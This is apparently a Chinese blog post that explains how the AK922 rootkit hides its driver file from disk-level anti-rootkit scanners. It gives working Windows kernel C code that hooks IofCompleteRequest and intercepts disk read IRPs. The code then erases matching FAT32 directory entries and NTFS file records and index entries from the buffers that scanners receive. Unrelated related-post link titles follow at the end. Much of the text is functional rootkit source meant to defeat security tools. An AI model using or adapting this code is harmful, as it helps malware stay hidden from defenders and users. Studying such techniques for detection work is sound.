目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
   驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
   对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
   AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
   下面就着重说一下工作流程:
   首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
   接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
   刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{    orgnThread = Irp->Tail.Overlay.Thread;orgnProcess = IoThreadToProcess(orgnThread);if(Irp->MdlAddress){        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);// UserBuffer必须有效if(UserBuffer){                    if(KeGetCurrentIrql() == DISPATCH_LEVEL){                    RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));WorkerCtx->UserBuffer = UserBuffer;WorkerCtx->Length = irpSp->Parameters.Read.Length;WorkerCtx->EProc = orgnProcess;ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);} }}
}

来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

VOID WorkerThread(PVOID Context)
{KIRQL irql;PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;//PMDL mdl;if(((PWORKERCTX)Context)->UserBuffer){if(eproc != currProc){KeAttachProcess(eproc);__try{// ProbeForWrite must be running <= APC_LEVELProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);}__except(EXCEPTION_EXECUTE_HANDLER){//DbgPrint("we can't op the buffer now :-(");KeDetachProcess();    return;}KeDetachProcess();    }else{__try{// ProbeForWrite must be running <= APC_LEVELProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);}__except(EXCEPTION_EXECUTE_HANDLER){}}}
}

准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{UCHAR            magic[4];USHORT            UpdateSequenceOffset;USHORT            SizeInWords;LARGE_INTEGER    LogFileSeqNumber;LARGE_INTEGER    VCN;ULONG            IndexEntryOffset;    // needed!ULONG            IndexEntrySize;ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;typedef struct _INDEX_ENTRY{LARGE_INTEGER        MFTReference;USHORT            Size;                // needed!USHORT            FileNameOffset;USHORT            Flags;USHORT            Padding;LARGE_INTEGER        MFTReferParent;LARGE_INTEGER        CreationTime;LARGE_INTEGER        ModifyTime;LARGE_INTEGER        FileRecModifyTime;LARGE_INTEGER        AccessTime;LARGE_INTEGER        AllocateSize;LARGE_INTEGER        RealSize;LARGE_INTEGER        FileFlags;UCHAR            FileNameLength;UCHAR            NameSpace;WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
   在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
   处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{ULONG i;BOOLEAN bIsNtfsIndex;BOOLEAN bIsNtfsFile;ULONG offset = 0;ULONG indexSize = 0;PINDEX_ENTRY currIndxEntry = NULL;PINDEX_ENTRY preIndxEntry = NULL;ULONG currPosition;bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE){            for(i = 0; i < BufLen/0x20; i++){if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)){*(PUCHAR)UserBuf        = 0xe5;*(PULONG)((ULONG)UserBuf + 0x1)    = 0;break;}UserBuf = (PVOID)((ULONG)UserBuf + 0x20);}} else if(bIsNtfsFile) {//DbgPrint("FILE0...");for(i = 0; i < BufLen / FILERECORDSIZE; i++){if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)){memset((PVOID)UserBuf, 0, 0x4);memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);break;}UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);}} else if(bIsNtfsIndex) {//DbgPrint("INDX...");// Index Entriesoffset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;indexSize = BufLen - offset;currPosition = 0;currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0){if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)){memset((PVOID)currIndxEntry->FileName, 0, 18);if(currPosition == 0){((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;break;}preIndxEntry->Size += currIndxEntry->Size;break;}currPosition += currIndxEntry->Size;preIndxEntry = currIndxEntry;currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);}}
}

突破磁盘低级检测实现文件隐藏相关推荐

  1. 突破icesword实现文件隐藏

    突破icesword实现文件隐藏 估计想在icesword下隐藏文件的人有很多吧.今天我介绍一种方法. 先介绍一下icesword是如何查找文件的.基本原理就是自己构造一个irp出来,然后直接IoCa ...

  2. 上传问题总结(文件大小检测,大文件上传)

    PHP上传问题总结(文件大小检测,大文件上传) 由于涉及到本地和服务器两方面的安全问题,所以基于input type="file"形式的页面文件上传一直处于一个很尴尬的位置.一方面 ...

  3. 如何测试硬盘软件,如何进行硬盘测试?磁盘健康检测方法介绍

    如何进行硬盘测试?至于为什么要测试硬盘,当然是为了磁盘更健康的运作.相信任何用户都会对此感兴趣的,下文就以此为题,使用Chkdsk工具.WMIC.第三方磁盘健康检测工具做介绍,或许可以帮助到你. 如何 ...

  4. 计算机如何显示e盘文档,我把电脑E盘里文件隐藏了,怎么弄可以显示出来!

    我把电脑E盘里文件隐藏了,怎么弄可以显示出来!以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! 我把电脑E盘里文件隐藏了, ...

  5. linux私房菜高级,别人的Linux私房菜(15)磁盘配额与高级文件系统管理

    磁盘配额在网站.邮件.文件等服务器常见,主要有针对用户.用户组.限制某一目录的的最大磁盘配额. ext文件系统进能针对整个文件系统配额,xfs可以针对目录配额.配额和文件系统有关. 内核必须支持磁盘配 ...

  6. 【加解密篇】Passware Encryption Analyzer快速检测加密文件软件

    [加解密篇]Passware Encryption Analyzer快速检测加密文件软件 ​ 密码加密分析仪是一种免费工具,可扫描系统以检测受保护或加密的文件.存档和其他加密类型的文件-[suy] 文 ...

  7. win7记事本如何转换html,WIN7文件隐藏了怎么显示出来?

    电脑有时候突然中病毒了,恶意把文件隐藏起来,很多网友不知道WIN7文件隐藏了怎么显示出来,文件隐藏了怎么显示,让文件无所遁形,就让小编告诉你们WIN7文件隐藏了怎么显示出来.在要设置显示隐藏文件夹的目 ...

  8. Funter for Mac(一键开关文件隐藏工具)

    如何快速隐藏和显示文件呢?Funter for Mac是Mac平台上一款高级文件隐藏工具,Funter mac版支持快速显示和隐藏文件和文件夹,支持在Finder中切换隐藏文件的可见性,另外Funte ...

  9. vector与结构体联合使用 在磁盘中生成.txt 文件

    一下纯属个人总结.欢迎拍砖!谢谢 我意思到以练促进学习C++编程基础是很有帮助的 这篇文章是我为了熟悉掌握文件流和STL中的vector以及结构体三个只知识点所写的代码: #include <s ...

最新文章

  1. 如何消费WCF Data Services定义的服务操作
  2. linux mysql 5.7 配置_linux下mysql5.7的安装配置
  3. redis编译安装:make 的新错误--collect2: ld returned 1 exit status
  4. 经典C语言程序100例之三一
  5. 【C#控件详解】对话框类控件(打开文件,保存文件,选择字体和颜色)
  6. java.io.IOException 权限不够
  7. jspdf html转换pdf,使用jspdf将HTML转换为pdf时出错
  8. linux下载命令 scp,linux命令详解之scp命令
  9. 博客系统php源码,tjheer博客系统php版 v1.10
  10. openSUSE Tumbleweed 支持 Linux Kernel 4.20
  11. 机器学习的1000+篇文章总结
  12. 一款支持CHM格式的安卓阅读器:ireader
  13. 只更新服务器代码有变更的文件,签出TFS 2010变更集中的文件(check out files in TFS 2010 changeset)...
  14. 2.reflect.TypeOf()
  15. centOS7搭建DNS服务器配置详解
  16. 大数据的75个名词解释
  17. 阿里云个人申请短信验证码申请总是失败
  18. LSF集群作业管理系统
  19. Windows修改本地域名解析文件hosts
  20. V4L2框架-视频流的停止(VIDIOC_STREAMOFF)

热门文章

  1. 联想Y510P安装windows 8.1
  2. python之socketserver实现并发
  3. 数据结构-双向链表的实现
  4. 【VMware vSAN 6.6】5.1.基于存储策略的管理:vSAN硬件服务器解决方案
  5. linux基本命令之rsync
  6. 组件的高可用性 High Availability
  7. Photoshop剪切板故障修复
  8. 深信服上网行为-域新组建模式单点登录不成功排错
  9. 漏洞分析技术专家聚会——博文视点OpenParty第二期
  10. linux 系统监控和进程管理